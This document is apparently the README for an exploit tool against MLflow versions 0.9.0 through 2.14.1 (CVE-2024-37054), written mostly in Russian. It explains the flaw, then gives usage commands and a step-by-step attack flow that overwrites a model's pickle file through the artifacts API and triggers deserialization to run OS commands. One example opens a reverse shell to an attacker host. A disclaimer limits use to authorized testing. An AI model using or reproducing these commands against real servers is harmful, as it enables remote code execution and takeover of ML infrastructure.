
CVE-2024-37054 exploit and documentation
Серьезность: Критический
Затронуто: MLflow 0.9.0 – 2.14.1
Тип: Выполнение произвольного кода через десериализацию pickle в Python
mlflow.pyfunc.load_model() десериализует python_model.pkl из хранилища артефактов без какой-либо санитизации. Атакующий, имеющий доступ к REST API артефактов MLflow, может перезаписать этот файл вредоносным pickle-объектом, что приведет к выполнению произвольных команд ОС при следующей загрузке модели.
pip install requests cloudpickle
# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
list
# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
revshell 10.10.16.1 4444
/api/2.0/mlflow/registered-models/search для поиска модели и её run_id / experiment_idPUT вредоносной полезной нагрузки cloudpickle по адресу /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pklmlflow.pyfunc.load_model() для этой модели, десериализует полезную нагрузку и выполняет командуШаг активации требует конечной точки приложения, которая загружает модель. Если таковая неизвестна, используйте --no-trigger (или опустите --trigger-url) и активируйте загрузку любыми доступными средствами.
Только для авторизованного тестирования на проникновение и образовательных целей.
| Флаг | Описание |
|---|
--mlflow URL | Базовый URL сервера отслеживания MLflow (обязательно) |
--model NAME | Имя зарегистрированной модели — автоматически выбирает первую, если не указано |
--version N | Версия модели — по умолчанию последняя |
--user / --pass | Учетные данные HTTP Basic Auth для MLflow |
--run-id / --exp-id | Обход поиска модели с известными ID |
--trigger-url URL | Конечная точка приложения, вызывающая load_model() — опустите для только загрузки |
--session COOKIE | Cookie сессии, отправляемый с запросом триггера |